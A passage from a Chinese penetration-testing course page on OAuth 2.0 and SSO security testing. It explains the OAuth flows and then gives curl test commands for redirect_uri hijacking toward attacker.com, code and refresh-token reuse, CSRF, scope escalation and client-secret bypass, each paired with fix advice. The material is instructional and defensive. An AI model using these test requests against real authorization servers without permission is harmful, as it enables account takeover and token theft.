公开文集
0x01 SRC 资产管理系统
0x02 Web 漏洞案例库
0x03 小程序漏洞案例库
第一章:小程序渗透基础
1.1 微信小程序反编译与动态调试
1.2 微信小程序强制开启开发者模式
0x99 信息安全学习体系
01-网络安全基础
Day-001-TCP-IP协议栈安全分析
Day-002-DNS协议安全与DNS劫持攻防
Day-003-IPv6 安全基础与过渡
Day-004-HTTP-HTTPS协议深度解析
Day-005-网络嗅探与流量分析技术
Day-006-防火墙原理与配置实践
Day-007-网络地址转换 NAT 安全分析
Day-008-路由协议安全 RIP-OSPF-BGP
Day-009-VLAN 安全与 VLAN-Hopping
Day-010-无线网络基础与安全 802.11
Day-011-网络访问控制 802.1X-NAC
Day-012-网络分段与微隔离设计
Day-013-负载均衡器安全配置
Day-014-CDN安全与防护
Day-015-NTP安全
Day-016-DHCP安全与攻击防护
Day-017-ICMP协议安全分析
Day-018-网络协议模糊测试基础
Day-019-网络流量基线建立
Day-020-网络取证基础
Day-021-网络入侵检测系统 NIDS
Day-022-网络入侵防御系统 NIPS
Day-023-网络流量加密与解密
Day-024-网络协议逆向工程基础
Day-025-网络性能与安全权衡
Day-026-SDN 安全
Day-027-网络虚拟化安全
Day-028-网络欺骗技术
Day-029-网络威胁情报应用
Day-030-网络容量规划与安全
Day-031-网络安全架构设计实战
02-Web 安全
Day-032-OWASP-Top-10-2021详解
Day-033-SQL 注入原理与手工检测
Day-034-SQL注入进阶报错注入与盲注
Day-035-XSS跨站脚本攻击基础
Day-036-XSS 进阶绕过与利用
Day-037-XSS进阶绕过与利用
Day-038-CSRF 跨站请求伪造
Day-039-文件上传漏洞
Day-040-反序列化漏洞基础
Day-041-PHP反序列化深入
Day-042-Java反序列化深入
Day-043-SSTI 服务端模板注入
Day-044-文件包含漏洞 LFI-RFI
Day-045-命令注入漏洞
Day-046-XXE-XML 外部实体注入
Day-047-反序列化漏洞进阶
Day-048-API 安全基础
Day-049-API认证与授权安全
Day-050-API漏洞挖掘实战
Day-051-文件上传漏洞进阶
Day-052-反序列化漏洞实战
Day-053-Web 安全综合实战
Day-054-移动安全基础
Day-055-Android 应用安全测试
Day-056-iOS 应用安全测试
Day-057-移动应用综合实战
Day-058-云安全基础
Day-059-AWS 安全实战
Day-060-Azure 安全实战
Day-061-GCP 安全实战
Day-062-云安全综合实战
Day-063-容器安全基础
Day-064-Docker 安全实战
Day-065-Kubernetes 安全实战
Day-066-容器安全综合实战
Day-067-API 安全进阶
Day-068-服务端请求伪造 SSRF 深入
Day-069-文件上传漏洞进阶
Day-070-反序列化漏洞实战进阶
Day-071-业务逻辑漏洞深入
Day-072-前端安全深入
Day-073-Web 安全综合实战
Day-074-云安全进阶
Day-075-移动安全进阶
Day-076-API 安全进阶
Day-077-前端安全进阶
Day-078-业务逻辑漏洞进阶
Day-079-反序列化漏洞实战进阶
Day-080-文件上传漏洞实战进阶
Day-081-SSTI 服务端模板注入进阶
Day-082-XXE-XML 外部实体注入进阶
Day-083-SSRF 服务端请求伪造进阶
Day-084-命令注入漏洞进阶
Day-085-文件包含漏洞进阶
Day-086-反序列化漏洞实战进阶
Day-087-文件上传漏洞实战进阶
Day-088-SSTI 服务端模板注入实战进阶
Day-089-XXE-XML 外部实体注入实战进阶
Day-090-SSRF 服务端请求伪造实战进阶
Day-091-命令注入漏洞实战进阶
Day-092-Web 安全综合实战
Day-093-GraphQL 安全
Day-094-JWT 与 OAuth2 安全
03-系统安全
Day-095-系统监控与检测
Day-096-主机防火墙配置
Day-097-系统审计与合规
Day-098-Linux 系统安全进阶
Day-099-Windows 系统安全进阶
Day-100-容器安全进阶
Day-101-容器编排安全进阶
Day-102-Linux 内核安全
Day-103-Windows 内核安全
Day-104-系统安全总结与实战
Day-105-Linux 系统安全基础
Day-106-Windows 系统安全基础
Day-107-容器安全基础
Day-108-系统加固技术
Day-109-日志分析技术
Day-110-威胁狩猎技术
04-应用安全
Day-111-安全编码规范
Day-112-输入验证技术
Day-113-输出编码技术
Day-114-错误处理安全
Day-115-会话管理安全
Day-116-认证安全
Day-117-授权安全
Day-118-数据保护安全
Day-119-日志安全
Day-120-API 安全
Day-121-微服务安全
Day-122-新兴技术安全概论
Day-123-DevSecOps 流水线安全
Day-124-云原生安全架构
Day-125-API 安全最佳实践
Day-126-安全编码规范
Day-127-SDL 安全开发生命周期
Day-128-威胁建模实战
Day-129-安全需求分析
Day-130-安全架构设计
Day-131-安全编码实践Java
Day-132-安全编码实践Python
Day-133-代码审计方法论
Day-134-静态代码分析SAST
Day-135-动态应用测试DAST
Day-136-交互式测试IAST
Day-137-软件成分分析SCA
Day-138-依赖漏洞管理
Day-139-安全测试自动化
Day-140-漏洞管理与响应
Day-141-应用安全总结与展望
Day-142-OWASP-Top10-2024 详解
Day-143-CWE-Top25 分析
Day-144-漏洞挖掘方法论
Day-145-模糊测试技术
Day-146-逆向工程基础
Day-147-漏洞利用开发基础
Day-148-漏洞复现与验证
Day-149-漏洞披露流程
Day-150-CVE 申请与管理
Day-151-漏洞赏金计划
Day-152-等保2.0详解
Day-153-GDPR 合规实践
Day-154-数据安全法解读
Day-155-个人信息保护法与合规指南
Day-156-个人信息保护法解读
Day-157-ISO-27001 信息安全管理体系
Day-158-SOC-2 合规与审计
Day-159-PCI-DSS 支付卡行业数据安全标准
Day-160-网络安全审查办法解读
Day-161-数据出境安全评估办法
Day-162-应用安全评估实战
Day-163-红蓝对抗演练
Day-164-安全应急响应
Day-165-安全运营中心建设
Day-166-应用安全总结与展望
05-密码学
Day-167-密码学基础
Day-168-对称加密算法详解
Day-169-非对称加密算法详解
Day-170-哈希函数与数字签名
Day-171-密钥管理与PKI
Day-172-TLS-SSL 协议详解
Day-173-国密算法详解
Day-174-认证与密钥协议
Day-175-随机数生成与熵源
Day-176-椭圆曲线密码学详解
Day-177-后量子密码学详解
Day-178-高级密码学主题
Day-179-密码学行业应用精选
Day-180-常用加密算法原理与实现
Day-181-密码学总结与展望
Day-182-密码学系列总结与展望
06-渗透测试
Day-183-渗透测试方法论
Day-184-信息收集技术详解
Day-185-漏洞扫描技术详解
Day-186-漏洞利用技术详解
Day-187-渗透测试中的漏洞利用框架
Day-188-漏洞利用框架与 Metasploit 深入
Day-189-渗透测试中的 WAF 绕过技术
Day-190-渗透测试中的模糊测试技术
Day-191-渗透测试中的代码审计与静态分析
Day-192-渗透测试中的密码哈希破解技术
Day-193-渗透测试报告编写指南
Day-194-Web 应用渗透测试
Day-195-渗透测试中的 API 安全测试
Day-196-渗透测试中的 GraphQL 安全测试
Day-197-渗透测试中的前后端分离应用测试
Day-198-渗透测试中的小程序安全测试
Day-199-渗透测试中的浏览器安全测试
Day-200-OAuth-SSO安全测试
Day-201-渗透测试中的业务逻辑漏洞测试
Day-202-渗透测试中的厚客户端安全测试
Day-203-渗透测试综合实战演练
Day-204-内网渗透技术详解
Day-205-渗透测试中的内网信息收集进阶
Day-206-渗透测试中的域森林渗透技术
Day-207-渗透测试中的权限维持技术
Day-208-渗透测试中的横向移动技术
Day-209-渗透测试中的痕迹清理与反取证技术
Day-210-渗透测试中的数据窃取与 Exfiltration 技术
Day-211-渗透测试中的内部威胁与数据泄露测试
Day-212-渗透测试中的物理安全渗透
Day-213-社会工程学攻击技术
Day-214-移动应用渗透测试
Day-215-云安全渗透测试
Day-216-渗透测试中的容器与 Kubernetes 安全渗透
Day-217-渗透测试中的 Serverless 安全测试
Day-218-渗透测试中的微服务安全测试
Day-219-物联网安全渗透测试
Day-220-工业控制系统安全渗透测试
Day-221-无线网络安全渗透测试
Day-222-数据库安全渗透测试
Day-223-渗透测试中的供应链安全测试
Day-224-红队演练技术详解
Day-225-渗透测试中的红队基础设施搭建
Day-226-渗透测试中的威胁情报与狩猎
Day-227-渗透测试中的综合指纹识别技术
Day-228-自动化渗透测试技术
Day-229-渗透测试中的运维安全测试
Day-230-渗透测试中的区块链与智能合约安全测试
Day-231-渗透测试中的漏洞管理与修复验证
Day-232-渗透测试法律与合规
Day-233-后渗透攻击技术详解
Day-234-渗透测试中的人工智能应用
Day-235-漏洞利用开发深入
Day-236-云原生渗透测试深入
07-应急响应
Day-237-应急响应概述与核心概念
Day-238-应急响应流程框架
Day-239-CSIRT 团队组建与职责分工
Day-240-应急响应工具包准备
Day-241-应急响应法律与合规要求
Day-242-安全事件检测方法与指标
Day-243-云原生应急响应
Day-244-日志收集与分析技术
Day-245-网络流量分析与异常识别
Day-246-自动化响应与 SOAR
Day-247-端点监控与 EDR 技术
Day-248-威胁狩猎方法论
Day-249-威胁情报在检测中的应用
Day-250-数字取证基础与证据链管理
Day-251-内存取证技术
Day-252-磁盘取证与文件恢复
Day-253-网络取证与数据包分析
Day-254-云环境与容器取证
Day-255-恶意代码静态分析技术
Day-256-恶意代码动态分析技术
Day-257-恶意代码行为分析方法
Day-258-逆向工程基础与工具
Day-259-沙箱技术与自动化分析
Day-260-事件隔离与遏制策略
Day-261-威胁根除与系统修复
Day-262-系统恢复与数据重建
Day-263-业务连续性计划
Day-264-事件复盘与经验总结
Day-265-APT 攻击事件复盘分析
Day-266-勒索软件事件响应实战
Day-267-数据泄露事件处置流程
Day-268-内部威胁调查与取证
Day-269-综合应急响应演练
08-安全运维
Day-270-安全运营中心 SOC 概述
Day-271-安全监控指标体系
Day-272-安全告警管理
Day-273-安全可视化与仪表盘
Day-274-监控工具选型
Day-275-日志采集技术
Day-276-日志标准化与解析
Day-277-日志存储与归档
Day-278-日志分析技术
Day-279-日志合规要求
Day-280-SIEM 架构与设计
Day-281-关联规则引擎
Day-282-高级关联分析
Day-283-UEBA 用户实体行为分析
Day-284-威胁狩猎
Day-285-SOAR 基础概念
Day-286-剧本设计
Day-287-自动化响应技术
Day-288-安全工具集成
Day-289-SOAR 度量与优化
Day-290-安全基线管理
Day-291-漏洞管理流程
Day-292-补丁管理策略
Day-293-变更安全管理
Day-294-合规审计技术
Day-295-7x24 安全运营
Day-296-安全事件管理流程
Day-297-安全运营度量体系
Day-298-持续改进机制
Day-299-安全运维综合演练
Day-300-云原生安全运营
Day-301-AI 与机器学习安全运营
Day-302-安全自动化脚本实战
09-移动安全
Day-303-移动安全威胁概述
Day-304-移动设备安全架构
Day-305-移动操作系统安全模型
Day-306-移动应用权限管理
Day-307-移动端数据加密
Day-308-330-Android 安全合集
Day-309-Android 安全架构
Day-310-Android 组件安全
Day-311-Android 权限与隐私
Day-312-Android 逆向工程
Day-313-Android 应用加固
Day-314-iOS 安全架构
Day-315-iOS 应用沙盒机制
Day-316-越狱与反越狱
Day-317-iOS 逆向工程
Day-318-iOS 企业分发安全
Day-319-移动安全开发生命周期
Day-320-移动应用安全测试
Day-321-移动应用加固技术
Day-322-移动威胁防护
Day-323-移动安全合规
10-云安全
Day-324-云计算安全模型
Day-325-责任共担模型
Day-326-云安全威胁模型
Day-327-云安全合规框架
Day-328-云安全架构设计
Day-329-AWS IAM 安全
Day-330-AWS 网络安全
Day-331-AWS 存储安全
Day-332-AWS 安全监控
Day-333-AWS 安全最佳实践
Day-334-Azure AD 安全
Day-335-Azure 网络安全
Day-336-Azure 存储安全
Day-337-Azure 安全中心
Day-338-Azure 安全最佳实践
Day-339-容器安全基础
Day-340-Kubernetes 安全
Day-341-Serverless 安全
Day-342-云原生 DevSecOps
Day-343-云安全态势管理 CSPM
11-物联网工控
Day-344-物联网安全概述
Day-345-IoT 通信协议安全
Day-346-IoT 设备安全
Day-347-IoT 平台安全
Day-348-IoT 应用安全
Day-349-工业控制系统概述
Day-350-工控协议安全
Day-351-PLC 安全
Day-352-SCADA 系统安全
Day-353-工控安全防护
12-综合与总结
Day-354-安全职业发展路径
Day-355-安全技术趋势展望
Day-356-安全建设方法论
Day-357-经典攻防案例复盘
Day-358-安全学习资源指南
Day-359-信息安全行业求职指南
-
+
首页
Day-200-OAuth-SSO安全测试
# Day 251: OAuth/SSO 安全测试 > 渗透测试系列第 41 天 | 预计阅读时间:45 分钟 | 难度:★★★★☆ --- ## 清单 目录 1. [OAuth 与 SSO 基础概念](#oauth-与-sso-基础概念) 2. [OAuth 2.0 授权流程详解](#oauth-20-授权流程详解) 3. [常见 OAuth 安全漏洞](#常见-oauth-安全漏洞) 4. [SSO 单点登录安全架构](#sso-单点登录安全架构) 5. [SAML 协议安全测试](#saml-协议安全测试) 6. [OIDC 身份层安全测试](#oidc-身份层安全测试) 7. [JWT Token 安全测试](#jwt-token-安全测试) 8. [渗透测试实战案例](#渗透测试实战案例) 9. [自动化测试工具](#自动化测试工具) 10. [最佳实践与修复建议](#最佳实践与修复建议) 11. [总结与思考](#总结与思考) 12. [参考资料](#参考资料) --- ## OAuth 与 SSO 基础概念 ### 1.1 OAuth 2.0 核心概念 **OAuth 2.0** 是一个开放标准的授权框架,允许第三方应用在不获取用户密码的情况下,访问用户在资源服务器上的受保护资源。 **核心角色**: | 角色 | 英文 | 说明 | |------|------|------| | 资源所有者 | Resource Owner | 用户,拥有资源并授权访问 | | 客户端 | Client | 第三方应用,请求访问资源 | | 资源服务器 | Resource Server | 托管受保护资源的服务器 | | 授权服务器 | Authorization Server | 验证用户身份并发放 Token | **核心术语**: - **Access Token**:访问令牌,客户端用它访问资源服务器 - **Refresh Token**:刷新令牌,用于获取新的 Access Token - **Authorization Code**:授权码,临时凭证,用于换取 Access Token - **Scope**:授权范围,定义客户端可以访问的资源权限 - **Grant Type**:授权类型,定义获取 Token 的方式 ### 1.2 SSO 单点登录概念 **SSO (Single Sign-On)** 是一种身份验证方案,允许用户使用一组凭据登录多个相关但独立的软件系统。 **SSO 核心优势**: - 用户体验提升:只需登录一次 - 密码管理简化:减少密码疲劳 - 集中式身份管理:便于审计和策略执行 - 降低支持成本:减少密码重置请求 **常见 SSO 协议**: | 协议 | 全称 | 用途 | |------|------|------| | SAML | Security Assertion Markup Language | 企业级 SSO,基于 XML | | OIDC | OpenID Connect | 基于 OAuth 2.0 的身份层 | | CAS | Central Authentication Service | 教育行业常用 | | Kerberos | - | Windows 域环境 | ### 1.3 OAuth 与 SSO 的关系 ``` ┌─────────────────────────────────────────────────────────┐ │ OAuth 2.0 │ │ (授权框架 - Authorization) │ │ │ │ ┌─────────────────────────────────────────────────┐ │ │ │ OpenID Connect (OIDC) │ │ │ │ (身份层 - Authentication on OAuth) │ │ │ └─────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────┐ │ │ │ SAML 2.0 │ │ │ │ (独立协议 - 企业级 SSO 标准) │ │ │ └─────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────┘ ``` **关键区别**: - **OAuth 2.0**:解决"授权"问题(你能访问什么) - **OIDC**:在 OAuth 2.0 上解决"认证"问题(你是谁) - **SAML**:独立的认证和授权协议,企业级 SSO 首选 --- ## OAuth 2.0 授权流程详解 ### 2.1 授权码模式 (Authorization Code Flow) 这是最安全的 OAuth 2.0 流程,适用于服务器端应用。 ``` ┌─────────┐ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ 用户 │ │ 客户端 │ │ 授权服务器 │ │ 资源服务器 │ │ User │ │ Client │ │ Auth Server │ │ Resource │ └────┬────┘ └──────┬──────┘ └──────┬───────┘ └──────┬───────┘ │ │ │ │ │ 1. 点击登录 │ │ │ │─────────────────>│ │ │ │ │ │ │ │ │ 2. 重定向到授权服务器 │ │ │ GET /authorize? │ │ │ client_id=xxx& │ │ │ redirect_uri=xxx& │ │ │ response_type=code& │ │ │ scope=read& │ │ │ state=random123 │ │ │────────────────────────>│ │ │ │ │ │ │ 3. 用户登录并授权 │ │ │ │<────────────────────────────────────────│ │ │ │ │ │ │ 4. 重定向回客户端 │ │ │ │ GET /callback?code=AUTH_CODE&state=random123 │ │<─────────────────│ │ │ │ │ │ │ │ │ 5. 用授权码换取 Token │ │ │ POST /token │ │ │ grant_type=authorization_code& │ │ │ code=AUTH_CODE& │ │ │ client_id=xxx& │ │ │ client_secret=xxx& │ │ │ redirect_uri=xxx │ │ │────────────────────────>│ │ │ │ │ │ │ │ 6. 返回 Access Token │ │ │ { │ │ │ "access_token": "...", │ │ │ "token_type": "Bearer", │ │ │ "expires_in": 3600, │ │ │ "refresh_token": "..." │ │ │ } │ │ │<────────────────────────│ │ │ │ │ │ │ │ 7. 用 Access Token 访问资源 │ │ │ GET /api/user │ │ │ Authorization: Bearer <token> │ │ │─────────────────────────────────────────>│ │ │ │ │ │ │ 8. 返回受保护资源 │ │ │<─────────────────────────────────────────│ │ │ │ │ ``` **安全要点**: 1. **state 参数**:防止 CSRF 攻击,必须验证 2. **client_secret**:服务器端保管,不能泄露 3. **redirect_uri**:必须精确匹配,防止重定向劫持 4. **HTTPS**:所有通信必须加密 5. **Token 有效期**:Access Token 应设置较短有效期 ### 2.2 隐式模式 (Implicit Flow) - 已弃用 ``` ! 注意:OAuth 2.1 已弃用 Implicit Flow,推荐使用 PKCE 的 Authorization Code Flow ``` 隐式模式曾用于 SPA 单页应用,但存在以下安全问题: - Token 暴露在 URL 中 - Token 可能被浏览器历史记录 - 没有 client_secret 验证 - 容易受到 XSS 攻击 **替代方案**:使用 PKCE (Proof Key for Code Exchange) 的授权码模式 ### 2.3 PKCE 模式 (Proof Key for Code Exchange) PKCE 是 OAuth 2.0 的扩展,用于防止授权码拦截攻击。 ``` ┌─────────┐ ┌─────────────┐ ┌──────────────┐ │ 客户端 │ │ 授权服务器 │ │ 资源服务器 │ │ Client │ │ Auth Server│ │ Resource │ └────┬────┘ └──────┬───────┘ └──────┬───────┘ │ │ │ │ 1. 生成 code_verifier (随机字符串) │ │ code_verifier = "dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk" │ │ │ │ 2. 生成 code_challenge │ │ code_challenge = BASE64URL(SHA256(code_verifier)) │ │ │ │ 3. 发起授权请求 │ │ GET /authorize? │ │ client_id=xxx& │ │ redirect_uri=xxx& │ │ response_type=code& │ │ code_challenge=xxx& │ │ code_challenge_method=S256 │ │────────────────────────>│ │ │ │ │ │ 4. 用户授权,返回授权码 │ │ GET /callback?code=AUTH_CODE │ │<────────────────────────│ │ │ │ │ │ 5. 用授权码 + code_verifier 换取 Token │ │ POST /token │ │ grant_type=authorization_code& │ │ code=AUTH_CODE& │ │ code_verifier=dBjftJeZ4CVP-mB92K27... │ │────────────────────────>│ │ │ │ │ │ 6. 验证 code_verifier │ │ SHA256(code_verifier) == code_challenge? │ 验证通过 → 返回 Token │ │<────────────────────────│ │ │ │ │ ``` **PKCE 核心参数**: | 参数 | 说明 | |------|------| | code_verifier | 客户端生成的随机字符串(43-128 字符) | | code_challenge | code_verifier 的哈希值 | | code_challenge_method | 哈希算法(S256 或 plain) | ### 2.4 客户端凭证模式 (Client Credentials Flow) 用于机器对机器的认证,不涉及用户。 ``` ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │ 客户端 │ │ 授权服务器 │ │ 资源服务器 │ │ Client │ │ Auth Server │ │ Resource │ └──────┬──────┘ └──────┬───────┘ └──────┬───────┘ │ │ │ │ 1. 用 client_id + client_secret 请求 Token │ │ POST /token │ │ grant_type=client_credentials& │ │ client_id=xxx& │ │ client_secret=xxx& │ │ scope=read │ │──────────────────────────>│ │ │ │ │ │ 2. 返回 Access Token │ │ { │ │ "access_token": "...", │ │ "token_type": "Bearer", │ │ "expires_in": 3600 │ │ } │ │<──────────────────────────│ │ │ │ │ │ 3. 用 Token 访问资源 │ │─────────────────────────────────────────>│ │ │ │ ``` ### 2.5 密码模式 (Resource Owner Password Credentials) - 不推荐 ``` ! 注意:密码模式需要用户直接向客户端提供密码,存在严重安全风险 OAuth 2.1 已弃用此模式,仅在受信任的官方应用中使用 ``` --- ## 常见 OAuth 安全漏洞 ### 3.1 重定向 URI 劫持 (Redirect URI Hijacking) **漏洞原理**:攻击者通过篡改 redirect_uri 参数,将授权码或 Token 重定向到攻击者控制的服务器。 **攻击场景**: ``` 正常请求: GET /authorize?client_id=abc123&redirect_uri=https://app.example.com/callback&response_type=code 攻击请求: GET /authorize?client_id=abc123&redirect_uri=https://attacker.com/steal&response_type=code ``` **如果授权服务器未严格验证 redirect_uri**: 1. 用户点击攻击者构造的链接 2. 用户登录并授权 3. 授权码被发送到攻击者服务器 4. 攻击者用授权码换取 Access Token 5. 攻击者获得用户资源访问权限 **测试方法**: ```bash # 测试 1: 修改 redirect_uri 为攻击者域名 curl -v "https://auth.example.com/authorize?client_id=abc123&redirect_uri=https://attacker.com/callback&response_type=code&scope=read" # 测试 2: 测试开放重定向 curl -v "https://auth.example.com/authorize?client_id=abc123&redirect_uri=https://app.example.com@attacker.com/callback&response_type=code" # 测试 3: 测试参数污染 curl -v "https://auth.example.com/authorize?client_id=abc123&redirect_uri=https://app.example.com/callback&redirect_uri=https://attacker.com/callback&response_type=code" # 测试 4: 测试路径遍历 curl -v "https://auth.example.com/authorize?client_id=abc123&redirect_uri=https://app.example.com/callback@attacker.com&response_type=code" # 测试 5: 测试子域名绕过 curl -v "https://auth.example.com/authorize?client_id=abc123&redirect_uri=https://attacker.app.example.com/callback&response_type=code" ``` **修复建议**: 1. 在授权服务器注册完整的 redirect_uri(包含协议、域名、路径) 2. 精确匹配 redirect_uri,不允许部分匹配 3. 禁止使用通配符(除非必要且限制严格) 4. 拒绝未注册的 redirect_uri ### 3.2 授权码拦截攻击 (Authorization Code Interception) **漏洞原理**:攻击者拦截授权码,然后用它换取 Access Token。 **攻击方式**: 1. **网络层拦截**:中间人攻击(MITM) 2. **恶意应用**:同一设备上的恶意应用拦截回调 3. **日志泄露**:授权码出现在服务器日志中 **测试方法**: ```bash # 检查是否使用 HTTPS curl -v "http://auth.example.com/authorize?..." # 应该拒绝或重定向到 HTTPS # 检查授权码是否可重复使用 # 第一次使用授权码 curl -X POST "https://auth.example.com/token" \ -d "grant_type=authorization_code" \ -d "code=CAPTURED_CODE" \ -d "client_id=abc123" \ -d "client_secret=secret123" # 第二次使用同一授权码(应该失败) curl -X POST "https://auth.example.com/token" \ -d "grant_type=authorization_code" \ -d "code=CAPTURED_CODE" \ -d "client_id=abc123" \ -d "client_secret=secret123" ``` **修复建议**: 1. 强制使用 HTTPS 2. 授权码一次性使用,使用后失效 3. 授权码短有效期(5-10 分钟) 4. 使用 PKCE 防止拦截 5. 绑定授权码与 client_id ### 3.3 CSRF 攻击 (Cross-Site Request Forgery) **漏洞原理**:攻击者诱导用户点击恶意链接,在用户已登录的情况下发起授权请求。 **攻击场景**: ```html <!-- 攻击者构造的恶意链接 --> <a href="https://auth.example.com/authorize?client_id=attacker_app&redirect_uri=https://attacker.com/callback&response_type=code&scope=read"> 点击领取奖品! </a> ``` **如果未使用 state 参数**: 1. 用户点击恶意链接 2. 用户登录并授权(可能未注意授权内容) 3. 授权码发送到攻击者服务器 4. 攻击者获得用户资源访问权限 **测试方法**: ```bash # 检查授权请求是否包含 state 参数 curl -v "https://auth.example.com/authorize?client_id=abc123&redirect_uri=https://app.example.com/callback&response_type=code" # 观察响应中是否要求 state 参数 # 如果没有 state 参数也能完成授权 → 存在 CSRF 风险 # 测试 state 参数是否被验证 # 1. 发起授权请求,使用 state=valid123 # 2. 回调时修改 state 为 state=invalid456 # 3. 如果服务器未验证 state → 存在 CSRF 风险 ``` **修复建议**: 1. 必须使用 state 参数 2. state 值应该是加密安全的随机数 3. 在回调时验证 state 值是否匹配 4. state 值应该与会话绑定 ### 3.4 Access Token 泄露 **泄露途径**: | 途径 | 风险等级 | 说明 | |------|----------|------| | URL 参数 | ! 高 | Token 出现在 URL 中,可能被日志记录 | | Referer 头 | ! 高 | 访问外部链接时 Token 可能被发送 | | 浏览器存储 | ! 中 | XSS 攻击可窃取 localStorage 中的 Token | | 网络嗅探 | ! 高 | 未使用 HTTPS 时 Token 可被截获 | | 日志文件 | ! 中 | Token 被记录在服务器或客户端日志中 | **测试方法**: ```bash # 检查 Token 是否通过 URL 传递(隐式模式) curl -v "https://app.example.com/callback#access_token=xxx" # 检查 Token 有效期 curl -v "https://api.example.com/user" \ -H "Authorization: Bearer CAPTURED_TOKEN" # 等待一段时间后重试(检查是否过期) sleep 3600 curl -v "https://api.example.com/user" \ -H "Authorization: Bearer CAPTURED_TOKEN" # 检查 Token 是否有适当的 scope 限制 curl -v "https://api.example.com/admin" \ -H "Authorization: Bearer TOKEN_WITH_READ_SCOPE" # 应该返回 403 Forbidden ``` **修复建议**: 1. 使用授权码模式,不在 URL 中传递 Token 2. Token 通过 Authorization Header 传递 3. 设置合理的 Token 有效期 4. 使用 Refresh Token 机制 5. Token 绑定 IP 或设备指纹 6. 实施 Token 撤销机制 ### 3.5 Refresh Token 滥用 **漏洞原理**:Refresh Token 有效期较长,如果泄露,攻击者可以持续获取新的 Access Token。 **测试方法**: ```bash # 获取 Refresh Token # 1. 完成正常授权流程获取 Refresh Token # 测试 Refresh Token 是否可重复使用 curl -X POST "https://auth.example.com/token" \ -d "grant_type=refresh_token" \ -d "refresh_token=CAPTURED_REFRESH_TOKEN" \ -d "client_id=abc123" \ -d "client_secret=secret123" # 使用同一 Refresh Token 再次请求(应该失败或使旧 Token 失效) curl -X POST "https://auth.example.com/token" \ -d "grant_type=refresh_token" \ -d "refresh_token=CAPTURED_REFRESH_TOKEN" \ -d "client_id=abc123" \ -d "client_secret=secret123" # 测试 Refresh Token 轮换(Rotation) # 新的 Refresh Token 应该使旧的失效 ``` **修复建议**: 1. 实施 Refresh Token 轮换(每次使用生成新的 Refresh Token) 2. 检测 Refresh Token 重用(重用则撤销整个令牌链) 3. Refresh Token 绑定设备或 IP 4. 设置合理的 Refresh Token 有效期 5. 提供用户查看和撤销活跃会话的功能 ### 3.6 Scope 权限提升 **漏洞原理**:客户端请求超出用户授权范围的权限,或服务器未正确验证 Scope。 **测试方法**: ```bash # 测试 1: 请求额外 Scope curl -v "https://auth.example.com/authorize?client_id=abc123&scope=read+write+admin&response_type=code" # 测试 2: 使用低权限 Token 访问高权限资源 # 获取只有 read scope 的 Token TOKEN_READ_ONLY="..." curl -v "https://api.example.com/admin/users" \ -H "Authorization: Bearer $TOKEN_READ_ONLY" # 应该返回 403 Forbidden # 测试 3: 修改 Token 中的 scope 声明(针对 JWT) # 解码 JWT,修改 scope 为 admin,重新签名(应该失败) ``` **修复建议**: 1. 在资源服务器验证每个请求的 Scope 2. 不要信任客户端声明的 Scope 3. 实施最小权限原则 4. 用户明确授权每个 Scope 5. 定期审查应用权限 ### 3.7 客户端认证绕过 **漏洞原理**:攻击者绕过 client_secret 验证,冒充合法客户端。 **测试方法**: ```bash # 测试 1: 不使用 client_secret curl -X POST "https://auth.example.com/token" \ -d "grant_type=authorization_code" \ -d "code=VALID_CODE" \ -d "client_id=abc123" # 如果成功 → 存在漏洞 # 测试 2: 使用空 client_secret curl -X POST "https://auth.example.com/token" \ -d "grant_type=authorization_code" \ -d "code=VALID_CODE" \ -d "client_id=abc123" \ -d "client_secret=" # 如果成功 → 存在漏洞 # 测试 3: 公开客户端(Public Client)滥用 # 检查是否有机密客户端被配置为公开客户端 ``` **修复建议**: 1. 机密客户端必须验证 client_secret 2. client_secret 安全存储(哈希后存储) 3. 定期轮换 client_secret 4. 公开客户端使用 PKCE 5. 监控异常的客户端活动 --- ## SSO 单点登录安全架构 ### 4.1 SSO 架构组件 ``` ┌─────────────────────────────────────────────────────────────────┐ │ 用户浏览器 │ │ User Browser │ └─────────────────────────────┬───────────────────────────────────┘ │ │ 1. 访问应用 A │────────────────────────> │ ┌─────────────────────────────▼───────────────────────────────────┐ │ 应用 A (Service Provider) │ │ Application A (SP) │ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 未认证 → 重定向到身份提供商 (IdP) │ │ │ └─────────────────────────────────────────────────────────┘ │ └─────────────────────────────┬───────────────────────────────────┘ │ │ 2. 重定向到 IdP 进行认证 │<──────────────────────── │ ┌─────────────────────────────▼───────────────────────────────────┐ │ 身份提供商 (Identity Provider) │ │ Identity Provider (IdP) │ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 验证用户身份 │ │ │ │ 生成 SAML Assertion / OIDC ID Token │ │ │ └─────────────────────────────────────────────────────────┘ │ └─────────────────────────────┬───────────────────────────────────┘ │ │ 3. 返回认证响应 │────────────────────────> │ ┌─────────────────────────────▼───────────────────────────────────┐ │ 应用 A (Service Provider) │ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 验证响应 │ │ │ │ 创建本地会话 │ │ │ │ 重定向到应用 A 主页 │ │ │ └─────────────────────────────────────────────────────────┘ │ └─────────────────────────────┬───────────────────────────────────┘ │ │ 4. 用户访问应用 B │────────────────────────> │ ┌─────────────────────────────▼───────────────────────────────────┐ │ 应用 B (Service Provider) │ │ Application B (SP) │ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ 检查到 IdP 已有会话 → 无需重新登录 │ │ │ │ 直接创建本地会话 │ │ │ └─────────────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────────┘ ``` ### 4.2 SSO 安全考虑 | 安全考虑 | 风险 | 缓解措施 | |----------|------|----------| | IdP 单点故障 | IdP 宕机导致所有应用不可用 | IdP 高可用、备用认证方式 | | IdP 被攻破 | 攻击者获得所有应用访问权限 | MFA、监控、快速撤销 | | 会话固定 | 攻击者劫持 SSO 会话 | 会话 ID 轮换、绑定设备 | | 注销不同步 | 用户在一个应用注销,其他应用仍登录 | 全局注销 (SLO) | | 信任链攻击 | 恶意 SP 加入信任链 | 严格 SP 注册审核 | ### 4.3 SSO 会话管理 **会话生命周期**: ``` ┌──────────────────────────────────────────────────────────────┐ │ SSO 会话生命周期 │ ├──────────────────────────────────────────────────────────────┤ │ │ │ 登录 │ │ │ │ │ ▼ │ │ ┌─────────────────┐ │ │ │ IdP 主会话 │ ← 长期会话(天/周) │ │ │ IdP Session │ 